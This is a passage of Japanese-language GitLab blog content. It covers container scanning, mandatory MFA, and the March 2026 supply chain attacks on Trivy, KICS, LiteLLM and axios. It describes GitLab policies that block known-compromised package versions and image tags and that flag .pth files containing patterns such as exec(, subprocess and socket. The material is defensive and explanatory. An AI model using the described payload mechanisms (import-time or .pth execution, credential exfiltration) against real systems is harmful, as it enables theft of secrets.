Jobs/Multi-Container-Scanning.latest.gitlab-ci.yml\n```\n\n#### 詳細設定\n\n**プライベートレジストリからイメージをスキャンする：**\n\n```yaml\nauths:\n  registry.gitlab.com:\n    username: ${CI_REGISTRY_USER}\n    password: ${CI_REGISTRY_PASSWORD}\n\nscanTargets:\n  - name: registry.gitlab.com/private/image\n    tag: latest\n```\n\n**ライセンス情報を含める：**\n\n```yaml\nincludeLicenses: true\n\nscanTargets:\n  - name: postgres\n    tag: \"15-alpine\"\n```\n\n### 4. 継続的脆弱性スキャン\n\n* 機能：パイプラインを実行することなく、新しいセキュリティアドバイザリーが公開された際に自動的に脆弱性を作成します。\n* 最適な用途：デプロイ間のプロアクティブなセキュリティモニタリング\n* 利用可能なプラン：Ultimate のみ\n* [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/continuous_vulnerability_scanning/)\n\n従来のスキャンは、スキャン実行時の脆弱性しか検出できません。しかし、昨日スキャンしたパッケージに対して、明日新しい CVE が公開された場合はどうなるでしょうか。継続的脆弱性スキャンは、GitLab アドバイザリーデータベースを監視し、新しいアドバイザリーがコンポーネントに影響を与える際に自動的に脆弱性レコードを作成することでこの課題を解決します。\n\n#### 仕組み\n\n1. コンテナスキャンまたは依存関係スキャンジョブが CycloneDX SBOM を生成します。\n2. GitLab はこの SBOM からプロジェクトのコンポーネントを登録します。\n3. 新しいアドバイザリーが公開されると、GitLab はコンポーネントが影響を受けるかどうかを確認します。\n4. 脆弱性レポートに脆弱性が自動的に作成されます。\n\n#### 重要な考慮事項\n\n* スキャンは CI パイプラインではなく、バックグラウンドジョブ（Sidekiq）経由で実行されます。\n* 新しいコンポーネント検出には、過去14日以内に公開されたアドバイザリーのみが対象となります。\n* 脆弱性では「GitLab SBoM Vulnerability Scanner」がスキャナー名として使用されます。\n* 脆弱性を解決済みとしてマークするには、引き続きパイプラインベースのスキャンを実行する必要があります。\n\n### 5. 運用コンテナスキャン\n\n* 機能：スケジュールされた間隔で Kubernetes クラスター内の稼働中のコンテナをスキャンします。\n* 最適な用途：デプロイ後のセキュリティモニタリングとランタイム脆弱性の検出\n* 利用可能なプラン：Ultimate のみ\n* [ドキュメント](https://docs.gitlab.com/ja-jp/user/clusters/agent/vulnerabilities/)\n\n運用コンテナスキャンは、ビルド時のセキュリティとランタイムセキュリティの間のギャップを埋めます。GitLab Agent for Kubernetes を使用して、クラスター内で実際に稼働しているコンテナをスキャンし、デプロイ後に発生する脆弱性を検出します。\n\n#### 運用コンテナスキャンを有効にする方法\n\n[GitLab Kubernetes Agent](https://docs.gitlab.com/ja-jp/user/clusters/agent/install/) を使用している場合、エージェント設定ファイルに以下を追加できます。\n\n```yaml\ncontainer_scanning:\n  cadence: '0 0 * * *'  # 毎日深夜0時\n  vulnerability_report:\n    namespaces:\n      include:\n        - production\n        - staging\n```\n\nまた、GitLab Kubernetes Agent によるスケジュールスキャンを強制する[スキャン実行ポリシー](https://docs.gitlab.com/ja-jp/user/clusters/agent/vulnerabilities/#enable-via-scan-execution-policies)を作成することもできます。\n\n![スキャン実行ポリシー - 運用コンテナスキャン](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547515/gsgvjcq4sas4dfc8ciqk.png \"運用コンテナスキャンのスキャン実行ポリシー条件\")\n\n#### 結果の確認\n\n* **運用 > Kubernetes クラスター** に移動します。\n* **エージェント** タブを選択し、エージェントを選択します。\n* **セキュリティ** タブを選択してクラスターの脆弱性を確認します。\n* 結果は **脆弱性レポート** の **運用上の脆弱性** タブにも表示されます。\n\n## GitLab セキュリティポリシーによるセキュリティ態勢の強化\n\nGitLab セキュリティポリシーを使用すると、自動化されたポリシー駆動型のコントロールを通じて、コンテナワークフロー全体で一貫したセキュリティ標準を適用できます。これらのポリシーは、要件を開発パイプラインに直接組み込むことでセキュリティをシフトレフトし、コードが本番環境に到達する前に脆弱性を検出・対処できるようにします。\n\n#### スキャン実行ポリシーとパイプラインポリシー\n\n[スキャン実行ポリシー](https://docs.gitlab.com/ja-jp/user/application_security/policies/scan_execution_policies/)は、プロジェクト全体でコンテナスキャンがいつ・どのように実行されるかを自動化します。すべてのマージリクエストでコンテナスキャンをトリガーし、メインブランチの定期的なスキャンをスケジュールするポリシーなどを定義できます。これらのポリシーにより、各プロジェクトの CI/CD パイプラインで手動でスキャンを設定することなく、包括的なカバレッジが確保されます。\n\n使用するスキャナーのバージョンを指定し、スキャンパラメーターを一元的に設定することで、新しいコンテナセキュリティの脅威に対応しながら組織全体の一貫性を維持できます。\n\n![スキャン実行ポリシーの設定](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547517/z36dntxslqem9udrynvx.png \"スキャン実行ポリシーの設定\")\n\n[パイプライン実行ポリシー](https://docs.gitlab.com/ja-jp/user/application_security/policies/pipeline_execution_policies/)は、コンプライアンス要件に基づいてパイプラインにカスタムジョブを注入（または上書き）するための柔軟なコントロールを提供します。\n\nこれらのポリシーを使用して、コンテナスキャンジョブをパイプラインに自動的に注入したり、コンテナの脆弱性がリスク許容度を超えた場合にビルドを失敗させたり、特定のブランチやタグに対して追加のセキュリティチェックをトリガーしたり、本番環境向けコンテナイメージのコンプライアンス要件を適用したりすることができます。パイプライン実行ポリシーは自動化されたガードレールとして機能し、手動操作なしですべてのコンテナデプロイメントにセキュリティ標準が一貫して適用されるようにします。\n\n![パイプライン実行ポリシー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547517/ddhhugzcr2swptgodof2.png \"パイプライン実行ポリシーのアクション\")\n\n#### マージリクエスト承認ポリシー\n\n[マージリクエスト承認ポリシー](https://docs.gitlab.com/ja-jp/user/application_security/policies/merge_request_approval_policies/)は、コンテナの脆弱性を含むマージリクエストを指定された承認者がレビューし、承認することを要求することでセキュリティゲートを適用します。\n\n重大度の高い脆弱性が検出された場合にマージをブロックするポリシーや、新しいコンテナの検出結果を導入するマージリクエストにセキュリティチームの承認を要求するポリシーを設定できます。これらのポリシーにより、低リスクな変更の開発速度を維持しながら、脆弱性のあるコンテナイメージがパイプラインを通じて進むことを防ぎます。\n\n![MRでブロックを実行するマージリクエスト承認ポリシー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/hgnbc1vl4ssqafqcyuzg.png \"MRでブロックを実行するマージリクエスト承認ポリシー\")\n\n## 適切なアプローチの選択\n\n| スキャンの種類   | 使用するタイミング   | 主なメリット                   |\n| --------- | ----------- | ------------------------ |\n| パイプラインベース | すべてのビルド時    | シフトレフトセキュリティ、脆弱なビルドをブロック |\n| レジストリスキャン | 継続的なモニタリング  | 保存されたイメージの新しい CVE を検出    |\n| マルチコンテナ   | マイクロサービス    | 並行スキャン、パイプラインの高速化        |\n| 継続的脆弱性    | デプロイ間       | プロアクティブなアドバイザリーモニタリング    |\n| 運用        | 本番環境のモニタリング | ランタイム脆弱性の検出              |\n\n包括的なセキュリティのためには、複数のアプローチを組み合わせることをお勧めします。開発中の問題を検出するためのパイプラインベースのスキャン、継続的なモニタリングのためのレジストリ向けコンテナスキャン、そして本番環境の可視性のための運用スキャンを組み合わせてご活用ください。\n\n## 今すぐ始める\n\nコンテナセキュリティへの最短ルートは、パイプラインベースのスキャンを有効にすることです。\n\n1. プロジェクトの **Secure > セキュリティ設定** に移動します。\n2. コンテナスキャンの **マージリクエストで設定** をクリックします。\n3. 作成されたマージリクエストをマージします。\n4. 次のパイプラインに脆弱性スキャンが含まれるようになります。\n\nその後、セキュリティ要件と GitLab のプランに応じて、追加のスキャンの種類を段階的に導入してください。\n\nコンテナセキュリティは一度実施すれば完了するものではなく、継続的なプロセスです。\nGitLab の包括的なコンテナスキャン機能を活用することで、ビルドからランタイムまでコンテナライフサイクルのあらゆる段階で脆弱性を検出できます。\n\n> GitLab がセキュリティ態勢の強化にどのように役立つかについての詳細は、[GitLab セキュリティ & ガバナンス ソリューションページ](https://about.gitlab.com/solutions/application-security-testing/)をご覧ください。",[1153],"Fernando Diaz","GitLab コンテナスキャン完全ガイド：SBOM生成から運用監視まで5つのスキャン手法",[757,822],"GitLab のさまざまなコンテナスキャン方法を詳しく解説し、コンテナライフサイクルの各段階でセキュリティを確保する方法をご紹介します。",{"slug":1158,"featured":13,"template":796},"complete-guide-to-gitlab-container-scanning",{"content":1160,"config":1169},{"title":1161,"description":1162,"authors":1163,"heroImage":1165,"date":1166,"body":1167,"category":757,"tags":1168},"GitLab.comのセキュリティ強化：多要素認証の必須化","Secure by Designへのコミットメントの一環として、GitLabが多要素認証（MFA）を必須化する方法と、それがユーザーに与える影響について解説します。",[1164],"Kim Waters","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664923/Blog/Hero%20Images/security-checklist.png","2026-01-09","GitLab.comのすべてのユーザーアカウントのセキュリティ強化のため、GitLabでは、ユーザー名とパスワードを使用してサインインするすべてのユーザーとAPIエンドポイントに対して、多要素認証（MFA）を必須化します。\n\n## 多要素認証必須化の理由\n\n今回の変更は、GitLabの[Secure by Designへのコミットメント](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/)における重要な取り組みの1つです。MFAは、ソフトウェア開発業界全体で継続的な脅威となっているクレデンシャルスタッフィング攻撃やアカウント乗っ取り攻撃に対する重要な防御手段となります。\n\n## 知っておくべき重要な情報\n\n### 何が変わるのか？\n\nGitLabは、ユーザー名とパスワードで認証するサインインに対して、MFAを必須化します。これにより、パスワードだけでなく、重要な第2の認証レイヤーが追加されます。\n\n### 適用されるケースとされないケース\n\n1. ***適用されるケース：*** ユーザー名とパスワードでGitLab.comにサインインする場合、またはパスワードを使用してAPIに認証する場合\n2. ***適用されないケース：*** アクセスにソーシャルサインオン（Googleなど）またはシングルサインオン（SSO）のみを使用している場合（*注意：SSOを使用していても、直接ログイン用のパスワードを設定している場合は、SSO以外のパスワードベースのログインに対してMFAが必要になります）*\n\n### ロールアウトのタイムライン\n\n1. 実装は今後数か月にわたって段階的に行われます。これは、ユーザーの予期しない中断や生産性の低下を最小限に抑え、アカウントのロックアウトを防ぐことを目的としています。ユーザーグループによって時期は異なりますが、近日中にMFAの有効化を求められます。各グループは、実行したアクション、またはコントリビュートしたコードに基づいて選択されます。以下の方法で通知されます。\n\n   * ✉️ メール通知 - 影響を受けるフェーズの前\n   * 🔔 定期的な製品内リマインダー - 14日前\n   * ⏱️ 一定期間後（メールが届きます） - MFAを有効にするまでGitLabへのアクセスがブロックされます\n\n### 必要な対応\n\n1. ユーザー名とパスワードでGitLab.comにサインインする場合：\n\n   * パスキー、認証アプリ、WebAuthnデバイス、またはメール認証など、利用可能なMFA方法の1つを今すぐ事前に設定することを強くおすすめします。これにより、最も安全でシームレスな移行が保証されます。\n   * GitLab.comの**ユーザー設定**にアクセスします。\n   * **アカウント**セクションを選択します。\n   * **2要素認証**を有効にし、希望する方法（認証アプリやWebAuthnデバイスなど）を設定します。\n   * 必要に応じてアクセスを回復できるよう、**リカバリーコードを安全に保存**してください。\n2. パスワードを使用してAPIに認証する場合：\n\n   * 個人アクセストークン（PAT）への切り替えを事前に行うことを強くおすすめします。詳細については、[ドキュメント](https://docs.gitlab.com/ja-jp/user/profile/account/two_factor_authentication_troubleshooting/#error-http-basic-access-denied-if-a-password-was-provided-for-git-authentication-)をご確認ください。\n\n## よくある質問\n\n*期限までにMFAを有効にしないとどうなりますか？*\n\n* サインインする前にMFAの設定が必要になります。\n\n*CI/CDパイプラインや自動化に影響はありますか？*\n\n* はい、パスワードの代わりにPATまたはデプロイトークンを使用していない場合は影響があります。\n\n*SSOを使用していますが、直接サインインすることもあります。その場合、MFAは必要ですか？*\n\n* はい、フォールバックシナリオを含む、パスワードベースの認証にはMFAが必要です。\n\n*どのようなMFAリカバリーオプションが利用できますか？*\n\n* [トラブルシューティングドキュメント](https://docs.gitlab.com/ja-jp/user/profile/account/two_factor_authentication_troubleshooting/#recovery-options-and-2fa-reset)をご確認ください。*\n\n具体的なタイムラインとその他のリソースについては、ロールアウト日までに段階的に共有される予定です。この重要な変更についてご覧いただき、ありがとうございます。",[757,745],{"featured":641,"template":796,"slug":1170},"strengthening-gitlab-com-security-mandatory-multi-factor-authentication",{"category":771,"slug":769,"posts":1172},[1173,1185],{"content":1174,"config":1183},{"heroImage":1175,"body":1176,"authors":1177,"updatedDate":1033,"date":1179,"title":1180,"tags":1181,"description":1182,"category":769},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png","***注：GitLab製品は、本記事で言及されている侵害されたパッケージバージョンを使用していませんでした。***\n\nわずか12日間で4件の独立したサプライチェーン攻撃が発生し、継続的インテグレーション／継続的デリバリー（CI/CD）パイプラインが高度な脅威アクターにとって格好の標的となっていることが明らかになりました。\n\n2026年3月19日から31日にかけて、脅威アクターは以下のツールを侵害しました。\n\n* オープンソースのセキュリティスキャナー（Trivy）\n* Infrastructure as Code（IaC）セキュリティスキャナー（Checkmarx KICS）\n* AIモデルゲートウェイ（LiteLLM）\n* JavaScript HTTPクライアント（axios）\n\nいずれの攻撃も同じ侵入口を狙っていました。それがビルドパイプラインです。\n本記事では、何が起きたのか、なぜパイプラインが特に脆弱なのか、そしてGitLabの集中型ポリシー適用（以下で定義するポリシーを使用）が、これらの攻撃パターンを本番環境に到達する前にブロック・検出・封じ込める方法を解説します。\n\n## 数百万人が信頼するツールが、わずか数分で侵害された\n\nサプライチェーン攻撃のタイムラインは以下のとおりです。\n\n### 3月19日：Trivyセキュリティスキャナーが攻撃のベクターに\n\n[Trivy](https://github.com/aquasecurity/trivy)は、世界で最も広く使われているオープンソースの脆弱性スキャナーの1つです。脆弱性を検出するために*パイプライン内*で実行されるツールです。\n\n3月19日、TeamPCPと呼ばれる脅威アクターグループが[侵害された認証情報を使用し](https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/)、`aquasecurity/trivy-action` GitHub Actionの76バージョンタグ（全77件中）および`aquasecurity/setup-trivy`の全7タグに悪意のあるコードをforce-pushしました。同時に、トロイの木馬化されたTrivyバイナリ（v0.69.4）が公式配布チャネルに公開されました。このペイロードは認証情報を窃取するマルウェアで、Trivyスキャンを実行したすべてのパイプラインから環境変数、クラウドトークン、SSHキー、CI/CDシークレットを収集しました。\n\nこのインシデントには[CVE-2026-33634](https://nvd.nist.gov/vuln/detail/CVE-2026-33634)が割り当てられ、CVSSスコアは9.4でした。米国サイバーセキュリティ・インフラストラクチャセキュリティ庁（CISA）は数日以内にこれを既知の悪用済み脆弱性カタログに追加しました。\n\n### 3月23日：次はCheckmarx KICSが標的に\n\nTeamPCPは窃取した認証情報を使い、CheckmarxのオープンソースプロジェクトであるKICS（Keeping Infrastructure as Code Secure）に攻撃対象を移しました。`ast-github-action`および`kics-github-action` GitHub Actionに[同じ認証情報窃取マルウェアを注入し](https://thehackernews.com/2026/03/teampcp-hacks-checkmarx-github-actions.html)、3月23日の12:58〜16:50 UTCの間、これらのアクションを参照するCI/CDパイプラインはすべて、APIキー、データベースパスワード、クラウドアクセストークン、SSHキー、サービスアカウントの認証情報などの機密データを密かに外部に送信していました。\n\n### 3月24日：Trivyの侵害された認証情報を経由してLiteLLMも被害を受ける\n\n月間9,500万ダウンロードのLLM APIプロキシであるLiteLLMが次の標的になりました。TeamPCPは、TrivyでスキャンしていたLiteLLM自身のCI/CDパイプラインから収集した認証情報を使用し、PyPIにバックドアを仕込んだバージョン（1.82.7および1.82.8）を[公開しました](https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html)。\n\nバージョン1.82.7を標的としたマルウェアは、`litellm/proxy/proxy_server.py`にインポート時に実行されるbase64エンコードされたペイロードを直接注入していました。バージョン1.82.8を標的としたものは、Pythonインタープリタ起動時に自動実行される`.pth`ファイルを使用していました。LiteLLMをインストールするだけでペイロードが起動してしまう仕組みです。攻撃者は窃取したデータ（SSHキー、クラウドトークン、.envファイル、暗号資産ウォレット）を暗号化し、本物のドメインに似せた`models.litellm.cloud`に外部送信しました。\n\n### 3月31日：単純なパッケージングミスがAIコーディングアシスタントのソースコードを流出させる\n\nTeamPCPの攻撃キャンペーンがまだ続く中、あるソフトウェア企業が59.8 MBのソースマップファイルを含むnpmパッケージを公開してしまいました。そのファイルには、AIコーディングアシスタントの完全な未縮小TypeScriptソースコードへの参照が含まれており、自社のCloudflare R2バケットでホストされていました。\n\nこの流出により、1,900のTypeScriptファイル、512,000行以上のコード、44の隠し機能フラグ、未公開のモデルコードネーム、そして知る人ぞ知る場所へのアクセス方法を知っていれば誰でも確認できるシステムプロンプトの全文が公開されてしまいました。エンジニアの[Gabriel Anhaia氏が解説したように](https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo)、「`.npmignore`またはpackage.jsonのfilesフィールドの設定ミスが1つあるだけで、すべてが露出してしまいます」。\n\n### 3月31日：axiosとサプライチェーンへのもう1つのトロイの木馬\n\n同日、週間1億ダウンロード超のJavaScript HTTPクライアントであるaxios npmパッケージを狙った[高度なキャンペーンが実行されました](https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html)。\n\n侵害されたメンテナーアカウントによりバックドアを仕込んだバージョン（1.14.1および0.30.4）が公開されました。悪意のある依存関係（`plain-crypto-js@4.2.1`）が注入され、macOS、Windows、Linuxで動作するリモートアクセス型トロイの木馬（RAT）がデプロイされました。2つのリリースブランチともに39分以内に感染し、マルウェアは実行後に自己消去するよう設計されていました。\n\n## これらの攻撃に潜む共通パターン\n\n5件のインシデントを通じて、3つの明確な攻撃パターンが浮かび上がってきます。いずれもCI/CDパイプラインがその入力に対して暗黙的に持つ信頼を悪用するものです。\n\n### パターン1：汚染されたツールとアクション\n\nTeamPCPのキャンペーンは、ある根本的な前提を突いていました。それは、パイプライン*内*で実行されるセキュリティツール自体は信頼できるという思い込みです。GitHubアクションのタグやPyPIパッケージのバージョンが悪意のあるコードに解決された場合、パイプラインはそれを環境シークレット、クラウド認証情報、デプロイトークンへのフルアクセス権限で実行してしまいます。パイプラインはタグを信頼するため、検証ステップが存在しないのです。\n\n**推奨されるパイプラインレベルの対策：** 可変バージョンタグではなく、不変の参照（コミットSHAまたはイメージダイジェスト）にツールとアクションをピン留めしてください。ピン留めが現実的でない場合は、既知の正常なチェックサムまたは署名に対してツールと依存関係の整合性を検証してください。検証に失敗した場合は実行をブロックします。\n\n### パターン2：知的財産（IP）を漏洩するパッケージング設定ミス\n\n設定ミスのあるビルドパイプラインが、デバッグ成果物をそのまま本番パッケージに含めて出荷してしまいました。`.npmignore`またはpackage.jsonのfilesフィールドの設定ミスが1つあれば十分です。公開前の検証ステップを設けておけば、こうした問題は毎回防ぐことができます。\n\n**推奨されるパイプラインレベルの対策：** パッケージを公開する前に、パッケージの内容を許可リストに対して検証し、予期しないファイル（ソースマップ、内部設定ファイル、.envファイル）をフラグとして検出し、チェックに失敗した場合は公開ステップをブロックする自動チェックを実行してください。\n\n### パターン3：推移的依存関係の脆弱性\n\naxiosへの攻撃は、axiosを直接使用しているユーザーだけでなく、依存関係ツリーが侵害されたバージョンに解決されるすべてのユーザーを標的にしました。ロックファイル内で一度依存関係が汚染されると、組織全体のビルドインフラに波及する可能性があります。\n\n**推奨されるパイプラインレベルの対策：** 依存関係のチェックサムを既知の正常なロックファイルの状態と比較してください。予期しない新しい依存関係やバージョン変更を検出し、未検証のパッケージを導入するビルドをブロックします。\n\n## GitLabパイプライン実行ポリシーによる各攻撃パターンへの対処\n\nGitLabパイプライン実行ポリシー（[PEP](https://docs.gitlab.com/ja-jp/user/application_security/policies/pipeline_execution_policies/)）は、セキュリティチームおよびプラットフォームチームが、開発者が`.gitlab-ci.yml`で定義した内容に関わらず、組織全体のすべてのパイプラインに必須のCI/CDジョブを注入できる仕組みです。PEPで定義されたジョブは、`[skip ci]`や`[no_pipeline]`ディレクティブを使ってもスキップできません。ジョブは開発者のパイプラインを前後から挟む*予約済み*ステージ（`.pipeline-policy-pre`および`.pipeline-policy-post`）で実行できます。\n\n3つのパターンすべてに対応するパイプライン実行ポリシーをオープンソースプロジェクトとして公開しています：[Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)。これらのポリシーは独立してデプロイ可能で、それぞれテスト用の違反サンプルが同梱されています。各ポリシーの仕組みをご紹介します。\n\n### ユースケース1：パッケージ公開時の意図しない情報露出を防ぐ\n\n**問題：** ビルドパイプラインが公開時の検証をスキップしたため、ソースマップファイルがAIコーディングツールのnpmパッケージに含まれてしまいました。\n\n**PEPによるアプローチ：** この種のエラーに特化したオープンソースのパイプライン実行ポリシーを作成しました：[Artifact Hygiene](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/artifact-hygiene.gitlab-ci.yml?ref_type=heads)。\n\nこのポリシーは、公開ステップが実行される前に、アーティファクトタイプ（npmパッケージ、Dockerイメージ、またはHelmチャート）を自動検出してその内容を検査する`.pipeline-policy-pre`ジョブを注入します。npmパッケージに対しては、3つのチェックを実行します。\n\n1. **ファイルパターンのブロックリスト。** npm packの出力をスキャンし、ソースマップ（.map）、テストディレクトリ、ビルド設定、IDE設定、src/ディレクトリを検出します。\n2. **パッケージサイズゲート。** AIツールを流出させた59.8 MBパッケージのように、50 MBを超えるパッケージをブロックします。\n3. **sourceMappingURLスキャン。** 外部URL（大手AI企業のソースコードを露出させたR2バケットのパターン）、インラインのdata: URI、JavaScriptバンドルに埋め込まれたローカルファイル参照を検出します。\n\n違反が検出されると、パイプラインは失敗したCIジョブのログに明確なレポートを出力して終了します。\n\n```text\n=============================================\nFAILED: 3 violation(s) found\n=============================================\nBLOCKED: dist/index.js.map (matched: \\.map$)\nBLOCKED: dist/index.js contains external sourceMappingURL\nBLOCKED: dist/utils.js contains inline sourceMappingURL\n\nThis check is enforced by a Pipeline Execution Policy. If this is a false positive, contact the security team to update the policy project or exclude this project.\n```\n\nこのポリシーには、ユーザーが設定できるCI変数はありません。開発者が無効化したり回避したりすることはできません。例外はポリシーレベルでセキュリティチームが管理するため、意図的なプロセスと明確な監査証跡が確保されます。\n\nリポジトリには意図的な違反を含むテストプロジェクト（examples/leaky-npm-package/）が含まれており、組織にデプロイする前にポリシーの動作を確認できます。[README](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/README.md)には、セットアップとデプロイの完全なクイックスタートガイドが含まれています。\n\n**検出できる問題：** これらのコントロールのどれか1つでもあれば、AI企業のソースコード流出は防げていた可能性があります。\n\n* ソースマップファイルはファイルパターンのブロックリストに引っかかります。\n* 59.8 MBというサイズはサイズゲートに引っかかります。\n* 外部R2バケットを指すsourceMappingURLはURLスキャンに引っかかります。\n\n### ユースケース2：依存関係の改ざんとロックファイル操作を検出する\n\n**問題：** axiosへの攻撃では、インストール時にRATを実行する悪意のある推移的依存関係（`plain-crypto-js`）が導入されました。侵害が行われた期間中にnpm installを実行したすべての人がトロイの木馬を取り込んでしまいました。\n\n**PEPによるアプローチ：** [Dependency Integrityポリシー](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/dependency-integrity.gitlab-ci.yml)は、パッケージエコシステム（npmまたはPython）を自動検出し、3つのチェックを実行する.pipeline-policy-preジョブを注入します。\n\n**npmプロジェクトの場合**（`package-lock.json`、`yarn.lock`、または`pnpm-lock.yaml`によってトリガー）：\n\n1. **ロックファイルの整合性。** `npm ci --ignore-scripts`を実行します。`node_modules`の内容がロックファイルの指定と異なる場合、失敗します。これにより、package.jsonは更新されたがロックファイルが再生成されていないケースを検出し、SRIインテグリティハッシュも検証します。\n2. **ブロックパッケージスキャン。** ロックファイルの完全な依存関係ツリーを、侵害が確認済みのパッケージバージョンのGitLab管理リストである`blocked-packages.yml`と照合します。同梱のブロックリストには`axios@1.14.1`、`axios@0.30.4`、`plain-crypto-js@4.2.1`が含まれています。\n3. **未宣言の依存関係の検出。** インストール後、node_modulesの内容をロックファイルと比較します。ディスク上に存在するがロックファイルに存在しないパッケージは改ざんの証拠です（例：追加パッケージを取得する侵害されたpostinstallスクリプト）。\n\n**Pythonプロジェクトの場合**（`requirements.txt`、`Pipfile.lock`、`poetry.lock`、または`uv.lock`によってトリガー）：\n\n1. **ロックファイルの整合性。** 分離された仮想環境にインストールし、ロックファイルからのインストールが成功することを確認します。\n2. **ブロックパッケージスキャン。** 同じブロックリストのアプローチです。同梱リストには`litellm==1.82.7`および`litellm==1.82.8`が含まれています。\n3. **.pthファイルの検出。** site-packagesの`.pth`ファイルをスキャンし、実行可能なコードパターン（`import os`、`exec(`、`eval(`、`__import__`、`subprocess`、`socket`）を検出します。これはLiteLLMバックドアが使用したまさにその仕組みです。\n\n違反が検出されると：\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: axios@1.14.1 is a known-compromised package\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\nこのポリシーは*ストリクトモード*で動作します。コミット済みのロックファイルに存在しない依存関係は、パイプラインをブロックします。開発者が依存関係を追加する必要がある場合は、更新されたロックファイルをコミットします。ポリシーはインストールされたバージョンがコミットされたバージョンと一致することを確認します。コミットされていないものが現れた場合（例：侵害されたアップストリームパッケージ経由で注入された推移的依存関係）、パイプラインはブロックされます。\n\n**検出できる問題：** `plain-crypto-js`という新規かつ未確認の依存関係の導入は、未宣言の依存関係チェックによってフラグが立てられます。`axios@1.14.1`バージョンはブロックパッケージスキャンによって検出されます。LiteLLMの`.pth`ファイルは`.pth`検出チェックによって検出されます。各攻撃に対して、少なくとも1つ、多くの場合は2つの独立した検出シグナルがあります。\n\n### ユースケース3：侵害されたツールを実行前に検出・ブロックする\n\n**問題：** TeamPCPは、信頼できるTrivyとCheckmarxのGitHubアクションタグを悪意のあるバージョンに置き換えました。これらのタグを参照するパイプラインはすべて、認証情報を窃取するマルウェアを実行してしまいました。\n\n**PEPによるアプローチ：** [Tool Integrityポリシー](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/tool-integrity.gitlab-ci.yml)は、GitLab CI Lint API（またはフォールバックとして`.gitlab-ci.yml`を評価する仕組み）にクエリを発行し、コンテナイメージの参照を抽出して、セキュリティチームが管理する承認済みイメージ許可リストと照合する`.pipeline-policy-pre`ジョブを注入します。\n\n許可リスト（`approved-images.yml`）は、イメージごとに3つの制御をサポートしています。\n\n**承認済みリポジトリ：** リスト上のリポジトリからのイメージのみが許可されます。未知のリポジトリはパイプラインをブロックします。\n\n**許可されているタグ：** 承認済みリポジトリ内でも、特定のタグのみが許可されます。これにより、未テストバージョンへの移行を防ぎます。\n\n**ブロックされているタグ：** リポジトリが承認済みであっても、既知の侵害バージョンを明示的にブロックできます。同梱の許可リストは、TeamPCPがトロイの木馬化した正確なバージョンである`aquasec/trivy:0.69.4`から`0.69.6`をブロックします。\n\n違反が検出されると、他のジョブが実行される前にパイプラインが失敗します。\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: aquasec/trivy:0.69.4 (job: trivy-scan)\n\n - tag '0.69.4' is known-compromised\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\n許可リストは、ポリシープロジェクトに対するMRを通じて管理されます。新しい承認済みイメージを追加するには、セキュリティチームがMRを開きます。新たな侵害への対応には、ブロックするタグを追加するだけです。コードの変更は不要で、YAMLだけで管理できます。\n\n**検出できる問題：** 未承認のタグを持つイメージが検出されると、ポリシーはイメージのリポジトリ名とタグを許可リストと照合します。一致しない場合、スキャナーが実行される前にパイプラインをブロックし、認証情報の外部送信を防ぎます。\n\n*注：上記のサンプルを拡張することで、PEPをタグではなくダイジェストへのピン留めを強制するために使用できます。これはforce pushに対して耐性があります。このサンプルは、より基本的なタグベースの適用パターンを示しています。*\n\n## PEPを超えて：GitLabのサプライチェーン防御\n\nパイプライン実行ポリシーは適用のレイヤーですが、サプライチェーン保護において多層防御（defense-in-depth）戦略の一部として機能するときに最大の効果を発揮します。GitLabは、サプライチェーン保護においてPEPを補完するいくつかの機能を提供しています。\n\n### シークレット検出\n\n[GitLabのシークレット検出](https://docs.gitlab.com/ja-jp/user/application_security/secret_detection/)は、認証情報がそもそもリポジトリに入り込むことを防ぎ、侵害されたパイプラインツールが収集できる情報を大幅に削減します。2026年3月の攻撃の文脈では：\n\n* リポジトリに保存された認証情報は、攻撃者にとって発見しやすく、ローテーションも遅くなります。Trivyのインシデントでは、ローテーションプロセス自体も悪用されました。Aqua Securityのローテーションはアトミックではなく、攻撃者は古いトークンが完全に失効する前に新たに発行されたトークンを取得しました。GitLabのシークレット検出には、漏洩したGitLabトークンの自動失効機能と、サードパーティプロバイダーへの認証情報失効通知を行うパートナーAPIが含まれており、侵害発生時の対応を迅速化します。\n* シークレット検出と適切なシークレット管理（短命トークン、Vault基盤の認証情報、パイプラインシークレットへの最小限の露出）を組み合わせることで、信頼済みツールが悪意を持つ動作をした場合でも、攻撃者がアクセスできる範囲を制限します。\n\n### ソフトウェアコンポジション解析（SCA）による依存関係スキャン\n\nGitLabの[依存関係スキャン](https://docs.gitlab.com/ja-jp/user/application_security/dependency_scanning/)は、ロックファイルとマニフェストを解析することで、プロジェクトの依存関係における既知の脆弱性を特定します。2026年3月の攻撃の文脈では：\n\n* LiteLLMについては、侵害されたバージョン（1.82.7、1.82.8）がGitLabのアドバイザリデータベースで追跡されており、影響を受けるPythonプロジェクトに自動的にフラグを立てます。\n* axiosについては、依存関係スキャンが組織内のすべてのプロジェクトで侵害されたバージョン（1.14.1、0.30.4）を特定し、セキュリティチームに影響範囲の評価と認証情報ローテーションの優先順位付けのための一元的なビューを提供します。\n* 